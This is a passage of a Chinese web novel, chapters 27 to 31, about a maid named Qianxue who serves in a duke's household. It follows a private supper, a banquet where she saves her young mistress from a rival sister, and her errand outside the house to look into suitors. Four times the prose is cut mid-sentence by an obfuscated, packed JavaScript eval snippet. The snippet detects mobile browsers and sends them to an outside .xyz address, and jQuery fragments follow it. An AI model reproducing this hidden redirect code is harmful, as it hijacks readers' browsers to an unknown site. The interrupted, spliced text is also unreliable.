吃饱喝足，张大夫打着饱嗝，裹紧袍子又窝回他那破藤椅，懒洋洋指使，“书在那头，今天没精神头给你讲，自己看吧。” 千雪抱着医术学了起来。 27.第二十七章 冯娘子设宴 浑身汗湿和药草味混合的千雪，踏着夕阳最后一抹余晖回到芳华院门口，远远瞧见院门外青石台阶旁戳着个瘦条条的人影。 “谁？”千雪眉头一拧，脚步微顿。 那身影听到声音猛地回头，露出一张有些紧张又带着欣喜的脸，是顺心！ “千……千雪姐！是我！” 见到是顺心，千雪紧绷的肩背瞬间松了点，她走到近前，看清顺心冻得有点发红的鼻尖和那双亮得过分的眼睛。 顺心身上不再是那股下人院特有的馊臭，换了身八成新的青布袄，头发也梳得齐整，整个人焕然一新，和从前比简直判若两人。 顺心激动地往前蹭了一步，双手紧张地搓着衣角，话像竹筒倒豆子吐了出来，“千雪姐！真是您帮的我是不是？冯娘子院里管事的姐姐都说漏嘴了！说冯娘子本来嫌我笨手笨脚不想收，是您托绿萝姑娘带的话，冯娘子才点了头的！” 她看着千雪，声音有点哽咽，“千雪姐您的大恩大德，顺心这辈子都不敢忘！我，我现在在采买处，就跟做梦似的！虎头哥也说我长进了！千雪姐！真的，真的太谢谢您了！”她最后几个字几乎带上了哭腔，那感激浓烈又笨拙，扎扎实实，一看就发自肺腑。 千雪看着眼前焕然一新重拾希望的顺心，心里也跟着开心，“冯娘子抬举你，是你自己肯干肯学的结果。”她没拿乔居功，但没否认自己递过话，全当是谢她当初来给自己送信，虽然也没改变什么，但这份心意千雪要记。 顺心使劲摇头，“没有您开口，我就烂在下人院了……”她像是想起什么要紧事，又急忙压低声音道，“冯娘子知道您今日不当差，特意让是让我在这儿等您！冯娘子说明晚，就在采买处值房那边的小灶间，她个人置备了一桌席面，也不拘什么，就几个得力的吃顿团圆饭！冯娘子叫您，一定过去！” 顺心说完，眼巴巴地看着千雪，生怕她拒绝。 千雪略一沉吟，冯娘子这饭，来得突然，是回护她调离采买处的小心安抚？还是为着顺心这事单独道谢？抑或是那位精明的冯娘子，嗅到了她千雪身上点别的什么味道？ “知道了。”千雪没多问，只干脆地点点头，“跟冯娘子说，千雪一定到。” “哎！好！好！我这就去回话！”顺心瞬间笑开了花，朝着千雪用力鞠了个躬，几乎是蹦跳着跑远了，那轻快的身影融进沉下来的暮色里。 千雪看着她消失的背影，转身推开了芳华院的角门。 第二天傍晚，千雪再次踏上去采买处的路。怀里抱着个黄杨木提盒，里面装着四小姐赏下的时新果子糕点和一壶窖藏过的蜜桃果子酒。空手上门太难看，她这点规矩永远不会缺。 冯娘子地位不同，在采买处附近有间独门独户的小院。千雪叩门进去，屋里暖暖的炭火气裹挟着饭菜香扑面而来。 冯娘子自己住的小厅堂不大，此刻已然挤得满满当当。 一张四方桌支开，热气腾腾。绿萝早就到了，正笑着同旁人说话。顺心眼尖，第一个瞧见千雪进来，像只小雀儿似的扑过来，声音清脆，“千雪姐！正想着你去哪儿了，刚才冯妈妈还让我再去芳华院催催呢！” “冯娘子，绿萝师父。”千雪先笑着同主位的冯娘子和绿萝打招呼，才转向顺心，“小橘帮四小姐收整新得的料子，耽搁了会儿。”她把提盒放在墙角小案上，“一点心意，四小姐赏的果子酒和小点心，添点年味儿。” “哎呀！你这丫头！”冯娘子嘴上嗔怪，但那张总是挂着精明厉害的脸上，笑容明显深了些，带着一种看自家出息孩子的欣慰，招手道，“人来就好，带什么东西！快坐快坐！绿萝边上那个位子给你留着呢！” 绿萝笑着拉千雪坐下，打趣冯娘子，“瞧娘子高兴的，嘴里说着见外，心里巴不得多收几份呢！千雪做事一贯周全，您还不知道？”话是对着冯娘子说，目光却赞许地落在千雪身上。 千雪笑着坐下，这才看清一桌人。 除了冯娘子，她和绿萝，顺心，还有采买处两位面相富态，精干利索的副管事娘子，这两位是冯娘子心腹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938533|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但最后一位，让她心底着实惊了一下，竟然是郑妈妈！ 这位国公夫人杜氏真正的心腹第一人，内宅总管事！她竟也来了冯娘子这小规模的私宴？郑妈妈依旧是那副八风不动的严肃模样，但能坐在这里，本身就是一个天大的信号！ 冯娘子拿起酒壶亲自起身斟酒，第一个就走向郑妈妈，姿态摆得极恭敬，“妈妈，您尝尝这梅花酪酿？入口绵甜。” 郑妈妈微微颔首，“冯娘子费心了。” 冯娘子给郑妈妈满上，顺势也给千雪倒了一杯，眼风扫过在座众人，声音不高不低，带着点感慨。 “今天这里没外人，绿萝要嫁出去替二小姐掌业了，我舍不得是真。顺心这孩子老实巴交，也算踏实，千雪……”她看着千雪，话顿了一下，那眼神里有复杂的欣慰，也有一丝微不可察的遗憾，“千雪这丫头以前在我跟前时，账盘子拨得那叫一个快！心眼更是跟明镜似的！现在在四小姐那儿，也是她的造化！”她没往下深说，但这话已经给了千雪极大的脸面！ 桌上其他人都心照不宣地应和，两位副管事娘子笑着附和，顺心看向千雪的眼里满是感激和崇拜。 绿萝端起酒杯，眼角微红有酒意也有真情，声音带着暖意，“是冯娘子调教得好，千雪，咱们一起敬冯娘子和郑妈妈一杯？”她拉着千雪和顺心一起站起来。 千雪心领神会，稳稳端杯，顺心则紧张得杯子差点洒了。 “敬冯娘子关照！敬郑妈妈体恤！”三人同声。清脆的碰杯声在小屋子里格外悦耳。 席间气氛顿时热络起来。 冯娘子谈笑风生，招呼众人吃菜，顺心小心翼翼给千雪布菜。绿萝和冯娘子低声说着些体己话，眼角瞥见千雪安静的侧脸和郑妈妈不动声色的审视目光，心中微叹。 这丫头离了采买处如今成了四小姐身边的一等丫鬟也算个还去处，是个有造化的。 她今日特意设置这桌席面，为的就是笼络笼络感情，郑妈妈可像她透露了，国公夫人对千雪这丫头有些看中呢。 28.第二十八章 赴宴 年节的热闹刚散尽，春风还带着料峭。国公府里，二小姐吴玉容安心待嫁，深居简出。 可三小姐吴玉颜和四小姐吴玉瑶的院里却静不下来。她们到了议亲的年纪，相看宴是必经之路。曾在书堆里看过无数宅斗故事的千雪，心里清楚，这种场合处处都是无形的刀光剑影。 天刚蒙蒙亮，国公夫人杜氏身边的孙嬷嬷就踏进了吴玉瑶住的芳华院，态度和善，“夫人吩咐，四小姐仔细装扮，明日随她去西平伯府上的赏花宴。”顿了顿，又补充道，“三小姐也一同前往。” 崭新的春衫，搭配好的头面首饰早就备着。 贴身大丫鬟素丹果然手巧，很快给吴玉瑶盘了个温婉得体的发髻，吴玉瑶本就生得清丽柔美，这身装扮更是衬出了她的气质。 国公府侧门，朱轮车已经候着了。 吴玉瑶带着千雪和素丹过来时，三小姐吴玉颜已经婷婷立于车旁，只一眼，吴玉瑶心里便咯噔一下，两个人装扮的大相径庭。 吴玉颜今日是花了大力气的，一身茜色织金宫缎裙，光芒刺眼，头上赤金点翠的步摇，凤簪插得满满当当，脸上的胭脂也用了重色，看起来很少华贵，隆重的像要入宫赴宴。 看见吴玉瑶只着一身清爽雅致的浅青色衫裙，她眼底立刻闪过一丝不悦，嘴角撇了撇。 见国公夫人杜氏在丫鬟婆子的簇拥下走了出来，吴玉颜终究没敢出声，只用眼角狠狠剜了吴玉瑶一记。 杜氏目不斜视，径直上了她那辆最华贵的翠盖珠缨八宝车。吴玉瑶和吴玉颜则被安排挤进了后面一辆小些的朱轮车里，各人的贴身丫鬟也跟着挤了进去。 车帘一放下，车轮才开始转动没多远。 憋了许久的吴玉颜立刻调转脸，直直冲着吴玉瑶，声音不大，说出的话却尖酸刺耳难听的紧。 “四妹妹，”她唇边挂着一抹讥诮，“你这一身也太素净了，看着就有些丧气。知道的，说你是清雅，不知道的，还当我们国公府穷酸，连件撑场面的好衣裳都置办不起！母亲带你出来是给你脸面，你就这般敷衍了事？怕是晦气到人家府上。” 那眼神，带着钩子似的，直愣愣看着吴玉瑶。 千雪依旧版垂着头做恭敬状，心中却绷紧了一根弦，果然，这就来了！这才刚离开府门，连车轮都还没压过两条街呢，三小姐就坐不住了。 车内狭小的空间里，火药味浓得呛人，她忍不住微微抬眼，小心观察着自家小姐的脸色。 千雪屏住了呼吸，看来今日这场赏花宴，是真得打起十二万分精神应对了。 “三姐姐何出此言？”吴玉瑶抬起头，声音努力稳住，但细微的颤抖还是泄露了内心的不适，“这身衣裳头面皆是母亲指使人备下的，难道……姐姐是觉得母亲挑的东西不好？” 她试着反驳，抓着母亲这张牌，希望能压一压吴玉颜的气焰。 “呵！”吴玉颜像是听到了天大的笑话，身上的金饰发出清脆的碰撞声，“东西自然是好东西，可这人嘛，也得有那个本事撑起来才行！穿龙袍不像太子，那就是个笑话！” 她眼皮一掀，“就四妹妹你这怯生生的模样，穿上龙袍怕是也被人当成东宫新来的小宫女！母亲是好心，可你也得有那个福相消受！别到时候宴席上一声不吭，活像个木头桩子，丢人现眼！” 她语速极快，连珠炮似的字字戳心。吴玉瑶被噎得脸色微微发白，嘴唇动了动，想辩解，想说自己并非故意怯懦，只是一时紧张，可话到了嘴边，却像被棉花堵住了嗓子眼，一个完整的词都吐不出。她下意识地绞紧了手里的帕子，那柔弱的姿态在吴玉颜眼中，她得意的翻了个白眼。 三小姐见状，眼中得色更浓，正要乘胜追击，再刺上几句。 “三小姐恕罪。” 一个清亮却带着明显恭敬的声音，恰到好处地插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946658|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了进来，打断了吴玉颜即将出口的话。 吴玉颜不悦地蹙眉，凌厉的视线扫向坐在吴玉瑶下首，一直低着头的丫鬟千雪。 只见千雪微微抬首，面上是丫鬟应有的恭谨，眼神却不躲不闪，“三小姐说得极是，赴宴举止得体，言谈合宜，方显国公府的气度，我们小姐” 她顿了顿，似乎斟酌了一下词句，“我们小姐今日头一次随夫人去这样大的场面赴宴，心下难免有些怯意，怕言行失措，反而不美，这才想着行事说话格外慎重些，连装扮也素净三分，想着宁可不出彩，也万不能出错，免得辜负了夫人的心意，也牵连了府上其他姐妹的体面。” 吴玉颜脸上的得意瞬间凝固了，她死死盯着千雪，这丫鬟话里话外，竟把她刚才对四妹妹衣着的贬低，拐着弯地解释成了识大体，顾大局？还暗指她吴玉颜若是闹大了连累国公府名声，这“牵连”的罪名岂不也要落在她头上？ 最关键是那句“其他姐妹的体面”，让吴玉颜猛地想起自己庶出的身份。一个庶出的女儿，今日穿得如此打眼，若再在车里为了着装争吵起来传到嫡母杜氏耳中，想到嫡母那双看似温和实则锐利的眼睛，吴玉颜心头莫名一怵。 她那股子泼天的气势，像是被兜头泼了一盆冷水，霎时弱了下去，车厢里陷入一种微妙的安静。 千雪说完，又利落地垂下头，恢复成那个不起眼的小丫鬟模样，仿佛刚才那番明理顾体面的话只是出自一片忠心。 吴玉瑶紧绷的脊背终于微微放松了一些，她感激又带点惊讶地悄悄瞥了千雪一眼。 马车辘辘前行，吴玉颜张了张嘴，还想说什么找补回来，可对上千雪那平静恭顺却让人无法轻慢的姿态，她最终还是重重地哼了一声，扭过头去，不再言语。车厢里只剩下车轮碾过青石路的规律声响和外面隐约传来的人声马嘶。 千雪依旧安静地坐着，仿佛刚才什么都没发生。 29.第二十九章 交锋 朱轮车在气派的西平伯府门前停下，丫鬟们利落地放下踏脚凳。 吴玉颜几乎是有些僵硬的下车，她站在车旁，先是飞快地扫了一眼府门前停靠的其他府邸的华丽车驾和刚刚下车的贵女们，又低头觑了一眼自己身上那过分耀眼的缎裙和满头沉甸甸的珠翠。 方才在车里被千雪那番牵连姐妹体面的话堵得难受，此刻再看周围其他贵女虽穿戴不俗，却不似她这般满身金灿灿地发光，心里不由得打起了鼓，竟真的生出一丝是否太过的疑虑。 她下意识地抻了抻衣袖，眼神闪烁。 另一边，吴玉瑶在素丹的搀扶下稳稳落地，她一眼就看到三姐那副强自镇定又忍不住左右打量的局促模样，想起她在车里如何嚣张，此刻却这般露怯，心中不禁升起一丝快意，她不自觉地唇角弯起一个极淡的弧度。 若是锦书在此，在车里只怕早就吓得屏住呼吸，头都不敢抬半分，更遑论站出来替自己解围说话，更别说让牙尖嘴利的三姐吃瘪，吴玉瑶心中对千雪越发满意了几分。 西平伯府前厅人声渐沸，这春寒未尽的时节，京城沉寂了一个冬天的贵族圈子正迫不及待地复苏，夫人小姐们三三两两相携而来，个个妆容精致，笑语晏晏。 国公夫人杜氏一下她气派的八宝车，气场便与众不同。西平伯府的管事娘子早已眼尖地迎了上来，满脸堆笑地引着。刚行至垂花门处，便见西平伯夫人，带着一群丫鬟婆子，满面春风，步履匆匆地亲自迎了出来。 “哎呀呀，国公夫人！您大驾光临，真是蓬荜生辉啊！”伯夫人一把就握住了杜氏的手，姿态亲昵无比，“过年时便想着要去府上给您拜年，只是琐事缠身未能成行，您瞧瞧这事儿闹的，今日可算是盼着您来了！快请进，暖和暖和！” 伯夫人拉着杜氏的手便往府内走，丝毫不掩饰那份近乎刻意的热络。 作为当朝贵妃的生母，杜氏的身份在京城贵妇圈里自然举足轻重，伯夫人这份殷勤背后，是西平伯府对吴国公府权势的看重，乃至一丝攀附。 杜氏面上挂着得体的笑容，任由赵夫人拉着，口中谦让几句，姿态雍容地被簇拥着往里走。那并肩携手，笑语寒暄的亲热模样，看在旁人眼里，倒真像是一对关系极好的姐妹。 紧跟其后的吴玉颜赶紧收敛心神，快步跟上，努力摆出最明艳动人的姿态。吴玉瑶则微微垂首，步履平稳地落在后面，千雪和素丹亦步亦趋。 西平伯府花厅，暖香浮动，笑里藏刀。 吴玉颜如同开屏的孔雀，在一群姑娘中高谈阔论，目光扫过吴玉瑶时，带着毫不掩饰的优越感。吴玉瑶其实最厌烦她这副样子，心里冷笑三姐肤浅，却知道自己性子，人一多就莫名心慌气短，只能强压着不耐，端坐角落，努力维持面上平静，只有指尖无意识地掐着手心泄露出紧绷。 “国公夫人好福气啊！”伯夫人赵氏突然扬声道，目标直指杜氏，“府上两位小姐瞧着就灵秀，想必才情也不凡？今日可不能藏私哦！” 杜氏浅笑饮茶，“伯夫人抬爱，不过是认得几个字罢了。”但立刻有夫人起哄，“光认得字哪够！快请小姐们联句咏春，让我们饱饱耳福！” 吴玉颜等的就是这一刻！她笑容满面地转向吴玉瑶，声音拔高盖过所有人。 “哎呀，说到吟诗作对，我们四妹妹才是深藏不露的大才女呢！”她刻意加重才女二字。 “四妹妹平日不是最爱独自清吟，对着花花草草就有说不完的妙句么？来，今日给各位夫人露一手，就由你起头咏这春日玉蝶可好？咱们都等着见识你的才情呢！” “轰！” 所有的目光看向吴玉瑶，一股熟悉的，巨大的紧张感猛地攥住了她的心脏和喉咙！ 她不是怕吴玉颜，她是该死的在这种场合，被这么多人盯着，就是控制不住那股窒息感！她想开口讥讽三姐几句，脑子明明转动着反击的词句，可嘴巴像被冰封，喉咙干涩发紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958496|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一个清晰的字也吐不出来，她憋得脸色通红。 吴玉颜！你偏偏逼我至此！可面上依旧因生理性的紧张而显得有些呆滞和僵硬。 杜氏的眼神瞬间冷了下来，瞥了一样洋洋得意的吴玉颜，愚蠢！吴玉颜被那目光刺得心头一跳，低垂下头。 全场诡异的寂静！等着看她出丑。 “啧……”有人发出了极低的嘲弄。 正在这时。 “嗒！” 一方小巧的青玉水盂，一张裁切得宜的素花笺，一支浸润了饱满浓墨的细狼毫，已经稳稳当当地摆在了她面前。 千雪微微俯身，“小姐，您看。”她眼神极其自然地飘向窗外，“那株玉蝶，冻蕾才破，怯蕊初舒，恰似春风迟疑探了头？我记得不正是您案头花影记中的一章？” 这番话瞬间打通了吴玉瑶混沌的思绪！她昨晚翻看过的《花影记》那里都是她记下的自己素日做的诗词，在看看窗外那顶着寒风挣扎绽开的玉蝶！ 她一把抓住了那支狼毫笔！笔尖悬停在洁白的纸面上，凝聚的那滴饱满墨汁微微摇晃。 墨滴落下！ 笔尖如刀，划过雪白纸页。 吴玉瑶的声音不大，甚至开头还有些微不易察觉的颤抖尾音，但越念越快，清晰无比地砸在每个人心上， “冻蕊惊寒初破蕾！玉蝶轻舒怯问春！” 千雪早已退回原位，垂眸安静立在一旁。 好一个怯问春！明着写花胆怯试探，何尝不是写她自己！绝境中的反杀！ 杜氏眼中冰霜尽融，嘴角勾起一丝极淡的，真正满意的弧度，转向赵氏，“倒是碰巧歪打正着。让夫人见笑了。”这话里意思，可深了去了！ 吴玉颜脸色铁青，胸口剧烈起伏，原地想让她出丑，谁知倒让她出了风头，她感觉气血直冲天灵盖！ 吴玉瑶胸口还在剧烈起伏，手心全是汗，但却有一股子痛快，终于没让吴玉颜如意！ 30.第三十章 打探消息 宴席还在进行，吴玉瑶的怯问春开了头，联句便顺利接了下去。 之后的环节，又有两位品级不算太高的夫人特意过来与吴玉瑶攀谈。 吴玉瑶手心还残留着未退去的汗意，但有了之前的经历，加上身边千雪无声却安定的存在，她心底那股因人多而产生的慌乱渐渐被压了下去。 努力回忆着平日学的应对礼仪和京中话题，虽做不到妙语连珠，倒也能谦逊从容地回答几句“天气回暖”，“母亲有训”之类的场面话，倒也显得得体有度。 吴玉颜安静得异样，只在远处冷眼瞧着，杜氏身边那个叫素兰的大丫鬟不动声色地在她旁边站了一会儿。 没有说一句话，但那无形的压力让她彻底歇了再当众发难的心思。她胸口堵着一股恶气，发不出来，只能端着酒杯独自站在窗边，脸色阴沉。 千雪低眉顺眼地立在吴玉瑶身后，心神却有些飘远，看着周围这些世家贵女，以及她们的母亲对未来夫家的精妙算量和试探。 吴玉颜为可能的婚事明争暗斗，精心算计得失，吴玉瑶虽稍显生涩，却也并非懵懂，显然也是明白此行分量。 对这些贵族少女而言，嫁给一个从未谋面的人，投入一个全然陌生的深宅内院，究竟有何可期待之处？她只觉得荒谬。 但一想于她们而言，也别无选择吧，不好好挑选，恐怕未来迎接她们的是可悲的命运。 回程的马车上，气氛比来时更加凝固，吴玉瑶眉眼间却轻松了许多，毕竟今日没让吴玉颜得逞，还在众人面前稳住了阵脚，她甚至偶尔透过车窗薄纱看看外头初绽的花枝。 吴玉颜显然憋了一路，脸拉得老长。 眼看快到国公府，她终于忍不住，对着吴玉瑶刻薄道，“四妹妹今日在席上可真是长本事了，当着那许多夫人小姐的面装起才女来，倒真是豁得出脸去，不过你装得再好，骨子里的上不了台面也改不了，回头别砸了府里的招牌！” 若是从前，吴玉瑶被这样当着面羞辱，又气又急之下可能结巴。但今日，她刚经历过联句的惊魂一刻，那逼出来的狠劲儿还没散干净，又加上回程的好心情。她猛地转头，直视吴玉颜那张精心打扮的脸，声音清晰冷脆。 “三姐姐有这闲心编排我，不如多想想今日是谁沉不住气，差点连累国公府姐妹在席间当众争吵出丑！母亲回去听了，不知会赞谁懂事，罚谁不稳重！” 吴玉颜完全没料到这个一贯显得拘谨内敛的妹妹竟敢如此直接硬刚！被戳中痛处，瞬间气得脸色紫胀，“你！你竟敢……” “下车了。”吴玉瑶不给她骂出来的机会，恰好此时马车停稳。她根本不等吴玉颜，扶着千雪的手，径直掀帘走了下去。 府门在望。 眼看着吴玉瑶头也不回地走向芳华院的方向，吴玉颜站在车旁，气得浑身发抖，精心梳好的鬓角都乱了。这口恶气堵在胸口，几乎要炸开！ “去！去松鹤堂！”她猛地一跺脚，对身旁慌乱的丫鬟低吼，“我去给祖母请安！”告状！必须立刻告状！她不能让吴玉瑶好过！ 马车在府门停下，吴玉瑶步子轻快，一路往芳华院走去。进了院门，回到熟悉安心的地界，她才长长舒了口气，素丹赶忙迎上来伺候她更衣净手，她却摆摆手，让素丹先去准备些茶点，只留下千雪在跟前。 待屋里没了旁人，吴玉瑶在窗边榻上坐了，才看向安静侍立的千雪，眼里带着喜悦，“千雪，方才席上，过来与我说话的那两位夫人，你瞧着如何？” 千雪知道她是想听听旁人的看法，特别是自己这个局外人的观察，她回想了一下，直接道，“回小姐话，那位圆脸的夫人，看着挺和善，说话也温温软软的。” “那是光禄寺少卿郑大人的夫人。”吴玉瑶微微点头，算是认同了千雪的第一印象，接着补充了对方的身份，“她娘家姓周，并不显赫，兄长外放在外。” “嗯，”千雪应了一声，继续说出自己的直观感觉，“不过…奴婢瞧着，这位郑夫人，家境可能不算特别宽裕。” 吴玉瑶端着茶碗的手顿住了，抬眼略带讶异地看着千雪，“哦？你怎么看出来的？”她自觉席上没发现什么明显的线索。 千雪的理由异常直白，“她身后跟着的那个贴身丫鬟，衣料看着很普通，浆洗得都有点发旧了，头上的银簪也细小。不说比大夫人身边姐姐们的体面，就是…比奴婢身上的穿着，好像也差了不少。”她虽然只是吴玉瑶的丫鬟，但背靠国公府这棵大树，吃穿用度自有体统，即便是丫鬟的份例衣料，也不会太差。 吴玉瑶一怔，随即若有所思，是了，夫人们出门带的贴身丫鬟，某种意义上确实是她们身份和治家能力的一个窗口。 杜氏身边的素琴，素兰，穿戴几乎赶得上小户人家的小姐，而郑夫人的丫鬟确实显得朴素甚至有些寒酸了些。 “你倒心细。”吴玉瑶轻轻抿了一口茶，眼神里多了点审视的味道，“那另一位呢？说话比较干脆那位夫人。” “回小姐，这位夫人看着就干练不少，说话利落，眼睛像是一下能看透人似的。”千雪回忆着她说话时那种直接的眼神和气场，确实给人很不一样的感受。 “那是正四品都转运盐使司同知王大人家的夫人，娘家姓李，听说行事一向雷厉风行。”吴玉瑶道，言语间带上了一丝不易察觉的…或许是羡慕？那种能在各种场合游刃有余，掌控局面的气度，正是她所欠缺又渴望拥有的。 吴玉瑶听完千雪对两位夫人的看法，手指在暖融融的茶杯壁上轻轻敲着，沉吟道，“如此说来，那王夫人出身干练，王大人官居正四品转运盐使同知，郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964766|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人虽显和善，但郑大人只是从五品的光禄寺少卿……”她顿了顿，秀气的眉头微蹙又展开，像在理一笔清楚明白的账，“这样看来，王家的门第，官职似乎都更胜一筹，母亲若为我择选，总该是更倾向王家些吧？” 她语气里带着一丝事涉己身的懵懂权衡，仿佛透过这两句品评，已将终身大事的前景窥看了一角。 千雪垂手侍立在一旁，将她的神色尽收眼底。心底却忍不住轻叹，这位小姐，到底是年纪小，心思还有些单纯。 一场宴会，几句话，就要定下前程了？事关终身，哪能只看父母的门楣高低，性情如何？ 她清咳一声，斟酌着开口，声音放得低缓，带着试探又谨慎的点拨意味，“小姐思量的自然有理，只是父母的门第官阶是一方面，终究是要结成两姓之好。这王大人，郑大人家的公子是何等品性，是否上进，待下如何这些才是最最紧要的，小姐，不妨再等等？” “啊？”吴玉瑶像是被从自己的思绪里惊醒，微微怔住，随即脸上浮起一层浅红，有些不好意思地低声道，“这，我倒真是不知了，想必，母亲会替我看顾的吧？” 她声音渐渐低下去，话是这样说，心里却没底，近日杜氏待她是比以往亲近了些，赏衣料，也带她出门。 但是否真能换得嫡母为自己终身大事的上心？便是上心又能上几分心？ 那些深宅大院里无形的算计和衡量，她并非全无感触，只是往往想不透，摸不清。 屋里有片刻的寂静，窗外偶尔有鸟雀啾鸣。 千雪那双澄净的眼眸却忽地亮起，像是想到了什么。她上前半步，语气依旧平静，却隐隐透着一股子机敏劲儿，“小姐，这正是机会啊，您若信得过奴婢，奴婢可以想办法出府一趟。” “出府？”吴玉瑶眼睛瞬间瞪大了。 “是，”千雪点点头，声音更低更稳，“您只消吩咐奴婢一句，就说让奴婢去东西市替您选些时兴的胭脂水粉，或是新出的绫罗花样子。奴婢得了差事，便能光明正大地出门，到时在外头，或许能听到些京中的风声，关于各家公子的事……”她没有明说怎么打听，但言语里的笃定让吴玉瑶明白，千雪是有门路的。 吴玉瑶的心猛地跳快了几下，出府！对于她这样闺阁小姐，平日去杜氏那里请安，去祖母那里磕头，就是全部活动范围。 但是丫鬟出府要简单很多，她强压下心头涌起的激动和雀跃，脸上的欢喜却怎么也藏不住，水润的眼睛亮晶晶地看着千雪，“好！好主意！你就说我让你出去选点胭脂，对了，还要新出的花样子！”她生怕理由不够充分，赶紧又加了一句，“越快越好！自己支银子就是。” “是，奴婢领命。”千雪福身行礼，嘴角也极快地弯了一下，得了小姐的首肯，这趟差事就是名正言顺。 31.第三十一章 出府啦 得了吴玉瑶的令，事情便好办许多。千雪第二天上午就去内院管事嬷嬷那里回了话，只说是四小姐要她亲自去西市有名的玲珑阁选几样新上的胭脂水粉，再挑些最新的京城花样子回来。 管事嬷嬷扫了扫千雪拿的对牌，又看了她那张平静诚恳的脸，并未多问，只挥挥手让她自去，在国公府，小姐们房里的大丫头替主子出门买点女孩儿用的东西，再寻常不过。 千雪熟门熟路地走向后角门，这条路她当采买小丫鬟时不知走了多少回。 守门的婆子姓马，脸胖胖的，她和徐婆子轮流守这西后门，正坐在小马扎上和人闲磕牙，见是千雪，眼珠子转得活络，“哟，千雪姑娘？这是往哪去发财啊？”千雪从前在采买处做丫头时，这些婆子都得过她顺手带来的便宜小吃食。 “马嫂子快别取笑我了，”千雪脸上堆起笑容，将早就备好几个铜板塞进马婆子手里，力气不大不小，“替四小姐跑腿，去西市买点脂粉花样，劳烦嫂子行个方便。”千雪的懂事让马婆子脸上的褶子都笑开了花。 “看姑娘说的，什么劳烦不劳烦，四小姐的事自然顶顶要紧！快去快去，早去早回！”马婆子麻利地开了侧边小门。 她打量着千雪身上虽朴素但比从前体面多的丫鬟装束，又看看手里温热的铜板，心里嘀咕，这小丫头，是真攀上高枝儿了。不过，能给她孝敬，就是懂事！ 千雪朝她笑了笑，脚步轻盈地迈出了国公府后角门。 一股混杂着尘土，人声，各种食物香气的气流扑面而来，喧闹的市井声响嗡地一下包围了她。 她深深吸了口气，这是久违的，鲜活的气息，比国公府那规整安静中透着压抑的空气要让她自在许多。 她熟门熟路地混入人流，没忘记先去玲珑阁采买了吴玉瑶交代的胭脂水粉，挑了几张时新花样，这些都是幌子，也是交代。 抱着那几样东西走在熙熙攘攘的街头，千雪的心思才真正沉静下来，考虑起正事。 去哪儿打探消息？ 同自己关系比较好的这些后宅仆妇？千雪摇摇头，不行她们嘴碎传闲话，编排府里长短是一把好手，但真要她们去打探正经官员府邸公子们的品性，尤其是深入的门道，那就如同隔靴搔痒了。 她们的消息来源顶多就是些捕风捉影，添油加醋的后宅秘闻，做不得数，弄不好还会传歪了消息，反而害了小姐。 靠谁都不如靠自己！心一横，她决定先去武馆借身行头，然后自己亲自去王家附近探探风声，那王家，吴玉瑶言语间似乎是更看好的。 千雪熟门熟路地穿梭在城南略显杂乱拥挤的窄巷里，最终停在一个不甚起眼的小院门前。斑驳的门板上贴着张颜色褪了大半的红纸。 推门进去，不大的院子里稀稀拉拉竖着几个挂着破布的竹竿架子，当作练功桩，三两个半大孩子在院子里无精打采地比划着。 厨房门口冒出个人影，正是苏红缨。 她依旧穿着一身利落的灰布短打，头发高高束起，只是眉宇间似乎笼着一层难以化开的阴郁。看到千雪抱着东西进来，愣了一下，“千雪？没到你出来放风的日子吧？”声音还是一贯的爽利，只是今日似乎带着点疲惫。 “师父。”千雪喊了一声，快步走过去，立刻从随身的布袋里掏出一个用油纸包着的，还温乎的大肉包，“刚路过老张铺子买的，韭菜肉馅，您尝尝。” 苏红缨显然有些意外，看了她一眼，没推辞接了过来，撕开油纸，浓郁的肉香散开。“嚯，真香！”她也不客气，大大咬了一口，鼓着腮帮子咀嚼着，那点阴郁被这突如其来的食物慰藉冲散了些许。 